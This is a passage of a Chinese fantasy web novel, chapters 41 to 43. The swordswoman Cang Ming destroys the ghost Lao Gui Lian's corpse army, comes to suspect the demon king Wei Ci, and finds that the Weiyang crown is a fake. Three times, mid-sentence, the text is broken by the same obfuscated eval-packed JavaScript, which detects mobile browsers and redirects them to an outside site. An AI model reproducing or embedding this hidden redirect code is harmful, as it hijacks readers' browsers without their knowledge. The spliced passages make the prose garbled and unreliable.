“虽然你怎么看也不像小孩,但这山里竟然有吃人的妖?”苍名凛然一惊,顿觉天降重任,自然义不容辞。这人参娃娃原来不像传说中那样白白胖胖,一个干瘪成这样的老瘦娃娃,竟也逃不出那食人妖的魔爪,这还得了? 苍名怒气沉沉道:“那妖怪在哪?” 它捋着须子道:“在哪,我倒是知道,可我是偷了东西出来哒,不敢回去呢。”说着,它从贴身红布里掏出一块生锈的铁,往苍名眼前一递。 苍名面露困惑不解之色,这也值得偷? 那东西说:“这个叫做,未央冠。” 嗡地一声,一个浪头在脑海里重重打下,苍名只觉得整个世上都灌了大水。她的手一抖,竟将那干瘪人参摔了出去。 人参爬了起来,啃了一嘴草叶,呸呸几口吐完,却反倒不走了。它举着那铁冠往前凑凑,说:“你看啊,这发冠可是货真价实的呢。” 苍名伸出一根微微打颤的手指,碰了一下铁冠。表面那层锈剥落开来,露出里面的白金质地,各色细碎宝石交相辉映,极尽奢华之能事。 “你摔我,我不给你看!”人参突然把手缩了回去,噔噔跑开两步,遁地而行,“我要还给吃人的老头,你还不如他呢!” “站住。”苍名喉咙嘶哑地喊了一声,纵身跳跃,不顾一切,三下两下就追了上去。 那人参东躲西藏,每当遁入草下 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隧道已经到了尽头,苍名的脚尖就在崖边,再往前半步就会掉到下方的巨大空地上。山洞变得无比空旷。火光模模糊糊地照亮眼前几丈远,加上苍名调动五感凝望静听,这空地似乎是一片辽阔的圆形祭坛,地界比好几个村子合起来还大。有些嘁嘁喳喳的声响,在地下移来移去,不知是暗河还是山石滚动。 就在她俯视下方的空地时,洞壁上突然一齐亮起无数枝红烛,瞬间将洞中照得如旭日初升。只见圆形空地上跑着无数只血红色绣花鞋,像一片密密麻麻的汪洋,又像遍地的红色老鼠。 苍名惊叫一声,往后跳了半步。神鬼不足畏,但这类外形恶心的东西却让她头皮发麻。 一道人影从暗处忽闪而过,高马尾发梢一晃。待她拔剑看去,却又只有光溜溜的洞壁了,几乎令人疑心那只是她自己的影子。 地上的绣花鞋还在盲目地飞跑,互相乱撞,踢踢踏踏,蹦蹦跳跳。 苍名定一定心神,克制着把这座山炸开翻出未央冠的冲动,跃到洞壁上,脚尖踩着凹凸处飞来飞去,火速寻找着壁上的暗门。 找了一圈,洞壁连条缝隙也无,平平整整地用黄金镀层铺就,红烛高低错落镶嵌于其上。 “果然只有这样。”深吸一口气,苍名纵身跳下,同时抛出长剑。长剑先于她落到离地二尺时停住,苍名稳稳落在剑上,一寸一寸地勘察地形机关。 千军万马般的绣鞋跳着向剑刃撞来,还有几只都撞到了她的小腿上。苍名一脚踹去,崩溃大喊:“喂!都滚啊——” 当,当。此山深处的什么地方,忽然有钟声敲响。 呼啦一下,绣花鞋都顺着一个方向如退潮般奔涌而去,仿佛那钟声是要给他们放饭一样。苍名这才看见,空地边缘有一处不宜察觉的排水孔,成千上万的绣花鞋一个个钻了进去。 借着飞身旋转的巧劲,苍名挥剑向孔洞劈去。忘仙派刚柔并济,四两拨千斤,从未出过坐拥开山之力的弟子,苍名已经咬牙做好了被弹飞的准备。 然而长剑还没触碰到坚硬石墙,那石墙突然以孔洞为起点,裂出一条巨大的豁口,露出墙后的一张熟悉面孔。 41. 红尘客纷纷 双方都难以置信地愣了一下。那张熟悉而青白的脸顿时大放光芒:“啊呀……是道长大人!” “游霄?”苍名伸手把他提起来,他颤颤巍巍地跨出暗室,身板轻飘飘的,比上次更加瘦弱。 “我是被一个老家伙抓进来的!”游霄满脸菜色,比刚变成鬼时勇闯春秋渡那天还要一脸衰相,“我在人间玩得好好的,突然有个色眯眯的老家伙……我有带你送的护身符喔,可是不小心被他打落了!” “色眯眯的老家伙?”苍名眉头一皱。不再满脑子想着未央冠之后,突然心智清明,片刻就恍然大悟。 苍名问:“那老家伙是不是穿着水粉色衣服,水袖长长,装模作样,想要抢你做姨太太?” 游霄的青脸上浮现出一层耻辱的红色:“没错没错!道长大人竟还会给人看事,真乃天眼神通!” 苍名诶了一声,说:“过奖。这下我全明白了。” 早在看见绣花鞋泛滥成灾的那一刻就该想到,山里藏的不是别人,正是老鬼莲!可谓,得来全不费工夫。 如此说来,这老货虽然未必生吃活人,却酷爱吃人参娃娃,难怪魏羌曾去十七烟挖人参。 游霄娓娓道来:“我本来嘛,碰到了道长大人你的朋友,喝了他送的汤,道长大人的朋友也都是好心的人呢!” 苍名急忙说:“对不起,插一句,无律他碰到你时大概也替我解释过船的事,当时我们遇到打群架的鬼,疏忽之中摔坏了船,修缮的费用我赔给你……” 游霄摆手说:“没有的事,老头它身子骨硬朗得很,根本没有摔坏,道长大人你放心好了。话说那天我喝了汤,看起来就跟活人没两样,还穿着我生前最喜欢的衣服,带着我最喜欢的扇子……” 在讲述了如何逛庙会、喝糖粥、带小孩子放风筝等一系列故事之后,游霄终于讲到了正题:“然后我就被那老家伙抓进来了!可是很快那汤剂的效用就过去了,我变回了鬼样,把他吓了一跳,他就把我扔进了死人堆……” 苍名看了看墙后的暗室,狭小逼仄,空空如也。 游霄忌惮地拉着苍名的手肘,一个劲往后扯着她,叫她不要上前。 苍名忽觉眼角一亮,似乎有道银光轻轻闪过。这次不仅看见高马尾的发梢,还看见一张冷峭的脸一晃而过,阴翳目光像要结冰一般,甚至还带有一丝哀怨。 “未辞?”她向着银光的方向一扑,双手却只摸到冰凉的墙壁,哪有妖王的影子? 虽然苍名头上戴着定位发冠,虽然未辞对她心存芥蒂……但无论如何,妖王不会放着古董店里的舒坦日子不过,跨越万水千山来专程骂她。 苍名摇头道:“我这一路真是昏了头了,眼也花了。” 游霄似乎以为她摸来摸去的是在抓鬼,他悄声说:“这种小室是用来关押新抓进来的人的,等到变成了那种东西,就给移交到大牢里关着了。” 苍名心中又开始惦念未央冠,听到这话便问道:“变成什么东西?” “可怕的东西。”游霄指着暗室墙根下的水渠说,“那些红色绣花鞋,从排水孔进来以后沿着水渠跑走了,这水渠似乎就是通往大牢的。” 苍名跳进暗室,果然室内一侧有道水渠,通入下一道排水孔。向洞中望望,深不可测。苍名推测道:“我想是这一条水渠从祭坛通到大牢,沿途经过每一间小室,这样绣花鞋跑一趟就是在巡逻查房了。” 游霄打了个哆嗦:“和我一起被关进来的一位鬼,已经变成了那种东西,被几只绣鞋抬走了,说是要送去大牢。那群绣鞋唱着怪曲儿,说什么……尸身修得千年福,脱胎换骨好做工?” 苍名一剑刺向暗室里那道排水孔,果然墙壁闻风裂开,露出下一间小室,地上全是抓痕和拖痕,似乎被关押者曾饱受折磨。 再下一间,地上只有些碎骨头。游霄摇头道:“糟了,糟了,这些都已经变成那种东西了。” 苍名手扶墙壁,回头对游霄说:“这里太寂静,破墙又太容易,当中必有蹊跷。我先把你送出山,再回来救那种东西。” 游霄却誓死不肯自己先走,说要和道长大人一同救鬼,事不宜迟,责无旁贷。苍名也担心拖久了会有更多无辜小鬼变成“那种东西”,便点头道:“那你一定跟紧我,若有变故就立刻逃出去,不必等我。” 两人便一层一层地破墙开路,已不知到了山里多深的地方。多数暗室都空了,有两间暗室里尚有活鬼,却已经给吓得站不起来。苍名只得将他们收在坛子里养病,坛子交给游霄小心翼翼地抱着。 最后一重墙壁金光闪闪,宝石拼成莲花图腾,仿佛在明晃晃地昭告世人,墙后所藏之物非同寻常。 苍名冷笑一声:“还是这么的浮夸。” 话音刚落,那墙就像能听懂人话似的喀喀响起来,一块块金色石砖的轮廓显露出来,砖块彼此分离。每块石砖又砰砰两声爆出白烟,在烟雾里变成硕大的金珠。 待到烟尘散尽,眼前已经是一幅巨大的金珠帘幕,自高空垂下,宽不见边际。 一串串金珠垂荡轻晃,挨得很密,看不清其后的洞府是何等布置。 苍名忽然轻声说:“天心沭。” “谁?”游霄抱着坛子,小心地透过珠子间的缝隙向帘后窥视。 “这山洞,是那老家伙的女儿天心沭的杰作。”苍名只恨自己竟才看出来,“我曾去过天心沭的一处宫殿,也是建在山中,垂直向下修了许多层。” 而眼下的这座地宫,则是水平向山深处修了许多间大小厅堂,一进一进,不过是把当时那垂直的层层地宫调了个方向。 就连天心沭酷爱的珠帘都给搬来了。 苍名手握长剑,面色铁青。天心沭口口声声说自己不参与老鬼莲的丑事,说得息园里的几人都信了。可最后她修的宫殿,却成了老鬼莲和绣花鞋的日常起居之所……那群红鞋甚至还追随着晨钟暮鼓跑来跑去,简直像列队训练一样! “那就看看,这珠帘之后到底有谁。”苍名缓缓举起冰刃宝剑,剑上倒映着珠帘的金光,波光粼粼,如夕阳晚照。 叮地一声,剑尖斜击金珠,如同向平静水面投入一颗石头。一串串珠子荡漾开来,像被一只手撩上去一样,诡异地停在半空不动了。 半开的珠帘之后,是一片汉白玉铺成的练兵场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263902|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,边缘种着丛丛妖树,枝条竟是燃烧的红色蜡烛,好似珊瑚丛一般。 苍名大步踏入,游霄谨慎跟随,珠帘在背后落下合拢。 连天的红烛枝条忽然乱响不已,隐约有地动般的噪声由远及近。 “当心!”苍名一剑横扫,将一粒粒骤然飞来的红色菱角挡开。那是枝头滴下来的蜡,竟不向下落,反而向四周飞来。 一个个似人非人的躯体,低着头从树林里爬出来。游霄大叫一声:“那种东西!” 那是一个个死人,身穿麻片。脚上清一色的血红色绣花鞋,走起路来脑袋一点一点的,转眼就灌满整个练兵场。 游霄哭丧着脸喊道:“道长大人你要小心啊!”他紧紧闭上眼睛,等着苍名掏出驴蹄子、驱邪水、桃木剑。 那些死人却像没看见这里有两个活人,开始在空地上练起了拳脚,一个个四肢拖沓,脑袋歪在一边,看得人毛骨悚然。 苍名暗骂道:“天心沭养妖鬼军团还不够,连没魂的死人也要收入麾下了?” 这时一个死人耷拉着脑袋,嗡嗡喊了起来:“王之来,肃静之有!” 游霄眼睛睁开一条缝,问道:“在喊什么?” 苍名摇头道:“我也不大懂,先静观其变,看看还有什么花样。” 那些死人全都垂头垂手而立,一齐嗡嗡喊道:“王之来,王之来!”连红烛枝条也跟着猛烈躁动,又甩出不少蜡滴暗器,被苍名出剑弹开。 头顶一阵当啷当啷的响声,几个穿红鞋的死人抬着一杆轿子从天而降,个个耷拉脑袋,在空中整齐划一地蹬腿,落地后便戳在地上不动了。 最起先那带头约束众人的死尸,半阖着眼睛走到轿子前,打起帘子说:“王之恭迎。” 苍名屏住了呼吸。 两条水袖如游龙般飞了出来,直取苍名门面。 “退!”苍名提剑便斩,那两道水袖竟像活物一般与长剑缠斗在一起,转眼间就乒乒乓乓过了几十招,打了个天翻地覆。 那些死人全都愣愣地看着这边,似乎不知所措。游霄小声焦急道:“所以说,就不要穿这绣花鞋呀!那种东西当久了,就回不来了!” 仿佛是打得厌倦了,水袖突然向后一收,轻柔地落到洁白地面上,还像蛇一样妖娆地扭了几下。苍名顿时起了一身鸡皮疙瘩,崩溃地一脚踹去:“滚啊!” 一声轻笑,粉白粉白的老鬼莲款款走出轿子。他的头上还是戴着展开的折扇,遍布其上的新鲜莲花倒是换了花色。 游霄痛恨地斥责道:“你这老恶棍,竟是害人不浅!” 老鬼莲看都不看他一样,拧着腰肢对苍名说:“小戏子,我们又见面了。” 苍名的手中已握了一沓树叶黄符,冷冷问道:“这些死人哪里来的?” 老鬼莲娇嗔地说:“死的谁要,我向来抓活的,你老早就见过的。” 苍名想起初到逢焉城的第一天,从一双绣花鞋那里抢回的几条命。她冷笑道:“你终于承认了。” 老鬼莲嘻嘻笑道:“这绣鞋,不好么?” 说着他随手一挥,满场的死人,忽然蠢蠢欲动起来。 42. 星移乾坤改 游霄紧紧抱着坛子,几乎要瘫倒在地:“妖孽啊!” 在苍名惊诧的目光里,那些死人开始原地跺脚小跑起来,前后左右地转着身,好像在寻找方向一般。 领头的那个突然耷拉着脑袋暴喝一声:“动起!” 哗啦一下,成千上万的僵硬躯体一哄而散,拖着四肢钻进红烛树林之中,片刻过后又手持各式物件涌了出来。 练兵场热闹非凡。有的死人在舞枪弄棒,有的站在地上缝补衣裳。有些去自觉地洒扫庭院,用抹布一寸一寸地擦着地面。还有不少在前头犁地,后面的抬着箩筐均匀播种。 更离谱的是还有一支格外精锐的队伍,竟在场边修筑防御工事、研究作战图纸、用连不成句的语言商讨军中大计。 虽然他们全都眼斜口歪,面目狰狞,垂头歪脖,但如果忽略这些的话,他们做起事来可谓行动娴熟。虽然栽栽愣愣,颤颤巍巍,一举一动却总能终止于危险的边缘而不会失手。 老鬼莲待要说些什么,苍名出其不意地洒出一把黄符,直穿过半个练兵场,向着那张脸疾速撞去。 空中尚存符纸飞过的拖影,苍名已飞身而上,一把长剑舞得风生水起,片片黄符随着剑尖的指示而变换阵型。 老鬼莲却仿佛早有防备,故技重施,双手把头往下一拔,轻松地避开迎面飞来的黄符。那颗头被他捧在手中,纸糊的白脸还对苍名森然一笑。 “还敢嬉皮笑脸!”苍名怒斥一声,随意一个起势,两圈风火轮大开大合,身似风中劲草。又接一串点翻身,旋转不息,直叫人眼花缭乱。 长剑翻飞,黄符阵像漫空雨点,忽左忽右,时而分路,时而汇合,将老鬼莲围在中央,斗得团团转。 老鬼莲天生怕火,每当符纸靠近他的白纸门面,便噼啪一声爆出火光。然而这老货却异常灵巧,水袖一动就格开火光,手中的脑袋抛来抛去,始终避开满天飞舞的烈焰。 过不多时,符纸燃烧殆尽,只剩一地枯叶粉末。老鬼莲得意一笑,将脑袋安回到脖子上,苍名向后跃开,轻轻落回到游霄身前挡着他。 游霄在后面激动地说:“好过瘾的功夫!不知我可不可以学呢?” 苍名盯着老鬼莲,点头回答游霄:“没问题,日后慢慢教你些防身功夫。” “谢谢道长大人!” 满场的死尸本来已经吓得四处逃窜,这会儿又拖着脚步走了过来,重新乌泱乌泱地聚集在练兵场上。 老鬼莲骂道:“终究还是穿绣花鞋的时间太短,一群没用的东西。” 苍名仗剑质问道:“洞里还有多少活人小生?又有多少无辜尸身?” “我这群尸身忠仆不好么?”他抚摸着头上的大扇面,水墨五官变出一副弯弯的笑脸,“你们的未央冠先吸食活人头脑中的智慧精华,再戴到死人头上,便可令死人如活人般行事。” 苍名眼皮突地一跳。老鬼莲似乎早就知道她是谁,不论她是不是隐姓埋名戴着面具。游霄还在发问道:“怎会有这种坑人的东西?” 老鬼莲继续说道:“我这绣花鞋,不过是效仿你们的未央冠啦。你们在头顶,我们便在脚底。鞋子先去杀食活人的精气,再套在死人的脚上,便让他们注入慧根,能做活人的事呢。” 那些死尸又各自忙碌起来,行动怪异鬼魅,倒是看不出有多少慧根。 苍名深吸一口气,说:“你何必贪得无厌,制造出这么多仆人?再多荣华富贵,也不过一日三餐,夜里只睡一席之地。” “舞将军真是得道高仙,总说些漂亮话。”老鬼莲嗤之以鼻,“你们未央冠不也是偷民智而驱死人?老身光明磊落,不打诳语,就是要让死人担要职,活人做奴隶。” 游霄愤愤不平地说:“死人从活人处吸食智慧,却反而又取代了活人的位置,真是倒反天罡!” “活人没有生路,便只能为贱奴,”苍名冰冷地盯着老鬼莲说道,“死人虽担军机要务,却永远不能背叛你。如此一来,活人死人都无法撼动你的地位,你倒是要一统天下了。” 老鬼莲文雅地微笑着说:“话可不要乱说哟,不是我一统天下,天下是我们大大王的!” “少废话!”苍名听到幕后原来还有个隐藏的大大王,头都要炸了,“把未央冠交出来!” 老鬼莲一抬手,那只人参娃娃迈着短腿从他身后走了上来,眨巴着小眼睛,用身上的红布兜着那枚华丽发冠。 苍名盯着那未央冠,寻觅多年的遗物乍现眼前,反而引起了更长久的迷茫。十年来江湖多少血雨腥风皆因此而起,谁又能说清到底为了什么? 游霄从苍名背后探出头说:“能不能不要抓这小娃娃,就不能放了它吗?你不是已经有这么多死鬼做仆人了吗?” 老鬼莲白了他一眼,傲慢地说:“仆人还嫌多么?你问问这东西愿意跟着我还是跟着你?”说着踢了人参一脚,把它踢得一个踉跄。 “我们,一旦被抓住,总归是要当奴仆的。不侍奉莲大人,也要侍奉旁人。”人参在老鬼莲面前畏畏缩缩的,又瞟了一眼苍名,“你们道士,不也时常拿我们炼丹入药吗?” 苍名开始后悔自己当时没有扒下它的红布衣服。那时它试图骗苍名帮它重获自由,可惜手段拙劣,惹人怀疑,的确如魏羌所说,这东西有点聪明点子,但不多。 就在人参娃娃捧着发冠、用小碎步向后退下时,苍名一剑刺向上空,四下旋风骤起,老鬼莲的水袖飘了起来,珠帘也碰撞鸣响。 不等老鬼莲还手,苍名原地拔起,凌空架剑,不论倒踢紫金冠还是转体横飞燕,都像夜风来去般潇洒利落。一招一式,化意随心,手引剑诀,如握流云。 一时间游霄和那群死尸都呆呆看着苍名的身影。那身影捉摸不定,沉浮如无所依托,舞姿忽张忽弛,剑法虚含其意而玄妙无穷。 一道六角雪花法阵,唰地在地宫中布开,如同渔网撒向海面一般。老鬼莲见事态不妙,早已转身往烛林中撤退,却哪里逃得过铺天盖地的法阵。 一时间哀鸿遍野,那些死尸穿着的绣花鞋全都乱蹦起来,连带着尸身也群魔乱舞。老鬼莲在法阵中乱摸乱撞,水袖都被燎得直冒白烟。 很快,绣花鞋就被法阵的雪光炼化,烧成一地焦糊的暗红色碎片。死尸脚上没了绣花鞋,纷纷软塌塌地倒在地上,终于合上眼睛,很快就变成一地白骨。 游霄惋惜地摇头道:“可惜死无全尸,只能葬在此地,客死他乡。” 人参娃娃身上的红布也被烧掉了,它一蹦三尺,随手将那顶未央冠抛到苍名伸过来的手中,就遁地而逃。 六角雪花越来越亮,更有阵阵细雪飞过,洞中如同塞外初冬。老鬼莲胳膊下面夹着脆弱的脑袋,终于吊着嗓子用戏腔尖叫一声,倒在了法阵中央。 苍名也舞过了最后一式,长剑缓缓落下。老鬼莲伏地发抖,粉白花瓣般的袍子被烧成褴褛状,露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271906|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的四肢倒不像荷花莲藕,却像破烂布卷一般。 “老鬼莲花妖,你奸淫掳掠,炮制绣花鞋杀害无辜,以诅咒之术发动洪水瘟疫,盗用无辜尸身充当家仆,今日就是赎罪之时!”苍名摘下腰带缀角的小葫芦,按照惯例念出罪状判词,便要将他收入葫芦,就地镇压于山下。 游霄高兴地长呼一口气,拍着怀里的坛子说:“道长大人,你一人单挑这么多妖魔鬼怪,好生厉害,定是神仙吧!” 苍名用袖口擦了一把鬓角,回头笑道:“过奖了,其实是来到逢焉城以后打的妖怪都格外厉害,好像不知不觉功力又进益了。” 老鬼莲正在逐渐变小,马上就要被吸入葫芦中。他充满恨意地看向苍名,忽然满脸惊奇,好像看见苍名身后的什么东西。 苍名心头一紧。只听他大叫一声:“主子!大王!” 回头看去,未辞站在苍名身后。不知他是何时出现的,总是这么无声无息,就像以往任何时候一样。 游霄:“啊?” 未辞抱着双手,阴沉地垂眼盯着老鬼莲。 老鬼莲指着他拼命叫道:“他是我的主子,这整座山都是他的,都是他指使我,一切都……” 砰地一声,洞顶落下一块巨石,挟着鬼火般的绿光,毫不留情地砸在老鬼莲头上。那颗纸糊的脑袋歪向一边,水墨五官慢慢淡去了。这次他没有再长出一颗新的头来。 苍名直直地看着一步步向她走来的未辞,觉得天崩地裂,天旋地转。 未辞看着她的脸色,停在离她几步远的地方不走了:“将军?” 苍名问:“他的主子……是你?”她本想气势凌厉地喝问他,再一拳把他打出鼻血。但是她的嗓音抖得十分厉害,问到最后已经声音轻如游丝,几乎已经说不出话来。 未辞愣了一下,说:“将军……难道相信他刚才的鬼话么?” “如果不是,你为什么要杀他灭口呢?”苍名看着他的眼睛,很轻很轻地问道。 未辞一动不动,眼睛里像涨潮一样,泛起一层冰冷的雾气:“不是我杀的。” 游霄在这时抚着胸口伤心地说:“我们不是要来救人的么?怎地到最后全都死了,一个都不剩?” 苍名突然对未辞惨淡一笑:“难道是我杀的?” “将军。”他像一棵松树一样站在原地。老鬼莲死了,地宫里的蜡烛已经熄灭了,六角雪花法阵也正在消散,洁白雪光逐渐变暗。未辞的脸,也随着雪光越来越黯淡。 “这整座山,都是你的?”苍名向他举起冰刃宝剑,他避也不避,低头看着她,眼中流露出的神色哀痛欲绝。 苍名点头道:“难怪你总是叫我不要成神。恐怕,你也想打倒了我,好独占未央冠!” 未辞动了动嘴唇,什么也没说出来。山体忽然剧烈地摇晃了一下,游霄及时拉住苍名才没有摔倒。 接着,一浪强过一浪的地动来袭,地宫中的大小石块坠落,像陨石雨一般。 “苍苍!”未辞向苍名扑了过来,被她用剑柄狠狠怼开。 苍名一个闪身拉起游霄,游霄抱着坛子,两人飞也似的顺原路狂奔,在山体坍塌之前跑出了地宫。那棵巨大的古树也因地震而东倒西歪了一番,掉了更多叶子,苍名却无心拾捡。 未辞那一声呼喊还萦绕在她的耳边,让她觉得似曾相识,熟悉到可怕的程度,却又不记得有谁这么叫过她: 苍苍。 43. 情断天涯人 山体的动荡已经停息,群山之间还在隆隆地回响。 游霄抱着坛子,小心地问苍名:“方才那个银白衣服的,大开杀戒的,不是道长大人你的同伴吗?上次见他人还好好的,怎么一下就……也未免太年轻了些…” 说罢,他愈发惋惜地摇头,捶胸顿足地叹了一回气。苍名面色更加惨白,默然答道:“……我也不知道。” 山里暮色四合,树叶青草都被镀上金光,苍名却觉得自己眼前都是黑的,好像天再也不会亮了。 十年前飞来横祸时,父母亡故,众叛亲离,当时她也觉得天不会再亮了。但是后来慢慢重踏成神之路,好像在没有亮光的灰暗里也能活下去,就像人住在地洞里也总有一天会习惯一样。 后来遇到了未辞,其实天又亮了,只是这种明亮是在破灭之后,才显现出曾经的辉煌的痕迹。 苍名靠着树根蹲坐下去,抱着嗡嗡作响的头,带着哭腔说了一句:“我也太惨了。” 这次,她的心都没有因为绝望和刺激而狂轰乱跳,她的心可能是直接死了。 “你法力高强,年轻有为,多少人羡慕还来不及呢,何必因一时凄惨而妄自菲薄。”游霄坐在坛子上,安慰苍名道,“同伴嘛,再招新的就好了啊。” 不知坐了多久,直到月上山巅,苍名站起来说:“走吧,我送你们回家。” 游霄摆手道:“我已经让老头来接我了,道长大人你还是留下善后好了。虽然山里已经没活人了,不过还是要好好巡山喔,说不定有小动物受到牵连……” 说话间,泛着幽幽紫光的鬼船穿越层层远山驶来,借着无边夜色的掩护,在草坡乱石上滑行得无比流畅自如。 苍名打开那坛子看了看,里面的两个鬼魂病情明显好转,再养几天就又跟好鬼一样了。 她把坛子还给游霄,目送他驾船离去。在船消失之前,游霄一直在跟她挥手,充满鼓励地点头。但她只是呆呆地看着,直到最后才想起要举一下手。 山中重归寂静。苍名手扶剑柄,漫无目的,向山深处一再前进。 人参娃娃抛给她的未央冠,就在她的荷包里。她伸手一摸就摸了出来,紧紧捏在手里看着。 果然,老鬼莲盗取了未央冠。他是从什么时候开始觊觎这枚珠冠的? 当年四大流派争夺此冠,不久四派弟子就接连被暗杀,以至于今日四派几近灭门,不可不说是祸起于珠冠。 如果老鬼莲当时就已经在替未辞偷珠冠……那么屠杀四大流派的,是不是就是未辞本人呢? 刻骨的恨意涌上心头,还掺杂着伤心和委屈。妖王在第一次撞见她时,就好像认识她一样。长久以来的殷切与照拂,或许根本就是阴谋假象。 “但他还故意告诉我,老鬼莲是在引诱我出现,还故意把李重山夫妇给我看……”苍名对未央冠喃喃自语,“师祖,你在天有灵,能不能告诉我……他是以一步险棋而剑走偏锋,还是真的对我动了怜悯之心?” 四野花香沉沉,暖风扑面。苍名突然像被惊醒了,只疑心妖王精通狐媚之术,不然怎会把她迷得七荤八素,直到这个时候了还执迷不悟? 随即她后背一冷,想起李重山夫妇还在古董店的柜子里。如今和妖王撕破脸皮,再去偷陶人更是难上加难,势必要立刻动身前往古楼。 但妖王一定也会料到她来偷陶人,这会儿说不定已经等在店中了。否则她手握未央冠,却迟迟不见妖王来杀,岂非怪哉? 苍名紧紧抓着珠冠,悲愤交加。只听哗啦一声,手里的珠冠突然四分五裂,散落一地。 “啊!”苍名惊叫一声,几乎双脚离地蹦了起来。愣了几秒钟,她猛地跪倒外地,拼命用手合拢那些碎片。 师祖的陪葬品,令江湖洗牌的未央冠——竟然被她捏碎了? 那堆碎片却像慢慢褪色似的,变成了陶瓷。而镶嵌其上的宝石,全是些细碎的砖头瓦块。 苍名的眼睛瞪圆了。许久,她长长吐出一口气。 这顶未央冠,是假的,用了障眼法的把戏。 真正的未央冠,或许还在妖王自己手里,甚至就在古董店的某处暗格里。 苍名惨得想笑。妖王一手珠冠,一手陶人,哪怕他就站在古楼门后等着杀她,她也不得不走一趟了。 于是便抽出长剑劈开枯枝乱草,借着清泉般的明亮月光向山外走去。 走到夜半时分,突然觉得隐隐的不对劲。地宫洞口那棵古树,竟又出现在眼前。 明明是向着出山的方向笔直朝前走,走来走去,原来是兜了一大圈又回到起点。 苍名用袖子擦了一把额头,深夜里冷风一吹,突然整个人一哆嗦就清醒了。 这山里,按周易八卦、天文星象、阴阳五行那一类高深数术,布置了奇门遁甲之局。 而苍名一向连横平竖直的大路都认不全,御剑还要靠妖王指点方向,处在此局中完全猜不出位置,更别说破解这类五行生克、吉凶时辰的数术了。 “奇门遁甲,参天古树,西南群山……”苍名原地打转,忽然觉得这片山脉越看越有点眼熟。 看了又看,她脱口而出:“铜铎山!” …… 这片地气和暖、灵秀异常的风水宝地,不是别处,正是盛极一时、素有西山晚钟之美誉的铜铎山! 苍名一手扶着额头,做梦般地环视群山。 铜铎派的修行之地选在西南铜铎山,相传是多少年前,开山师祖看尽天下奇景后,用阴阳五行推算出来此山风水最旺本派,故而在此修筑道观。 钟家祖宅建在关外,历代族人长于关外。无律虽和苍名一起长大,但到了刚能出远门的年纪,就给送到了西南铜铎山,投奔钟家大伯,入派潜心修炼。 山里的奇门遁甲玄之又玄,只有本派弟子才知晓如何进山。无律在山里修行时,苍名曾来找他玩过两次,故而对山里有些印象。这次直到现在才认出这里,只因身在此山中。 故地重游,心情湿润忧伤。苍名手抚着一草一木,刚想坐在溪水边怀旧,忽然又猛地跳起:“不好!” 老鬼莲被灭口之前,似乎说过这座山都是他主子的。 被钟无期抵押出去的铜铎山——竟是抵给妖王楚未辞了! 那一瞬间,苍名只觉得天神无眼,天理难容,千头万绪涌入心间,让整个人都要炸开一般。 好一位中野飞鸥,原来真的是那只看不见的幕后黑手,搅得四大流派不得安息,把苍名耍得团团转。 被欺骗和迫害的感觉,让她的心中充满了恨意。 缓缓举起冰刃宝剑,苍名一剑刺下。 长剑只钉入地面三寸,却引起了无数草木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276910|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的摇动和清啸。那是苍名下的一道咒文,传遍山中每一处巅峰和峡谷,声声传讯,呼唤山里的所有精怪妖鬼。正如无律每次炖汤时的叫卖声,也是这样经由烟囱传出到大街小巷,只有妖鬼听得懂其中意思。 一盏茶的功夫,便见树丛摇动。一只靛蓝色男鬼拨开草叶走了出来,无论皮肤还是衣服都蓝得发邪。 苍名静静看着他,他也强硬地看了回来,盯着苍名大喝一声:“谁传唤老子!” 见苍名不答,他又觉得气势不足,于是更蛮横地吼了一声:“是不是你在叫唤,惊扰了老子的好梦!” 苍名拔出长剑,右手抛到左手,随意转了几转。 那鬼的气焰有所萎缩:“你……是什么人?” 苍名说:“道士。” 那鬼狐疑地看着她,向后退了几步:“你找谁?” 苍名说:“找山里的鬼,打听点事情。” 靛蓝色鬼呸了一声:“道士找鬼来打听事情?他妈的头一次听说。” “这里,是不是铜铎山?”苍名眼睛像两颗冻住的黑紫色冰石,寒气外溢,“这山,是不是抵给了什么人?” “操。”那鬼一拍大腿,“说到这个就来气,不瞒你说,这铜铎山,原本是被铜铎派师尊抵给我的!” “钟无期?抵给你?”苍名一愣,从荷包里掏出那张地契,“难道是这个?” “操。”那鬼又一拍大腿,“怎么在你手里!可惜这纸头,作废喽!” 苍名疑惑道:“此话怎讲?” 那鬼说:“我他妈的,原本收了这座山,想着把什么金矿银矿的都挖出来卖钱,谁成想突然来了个什么大王,愣是把这山抢去了!” “大王,是个年轻男子吗?”苍名心里一阵抽搐。 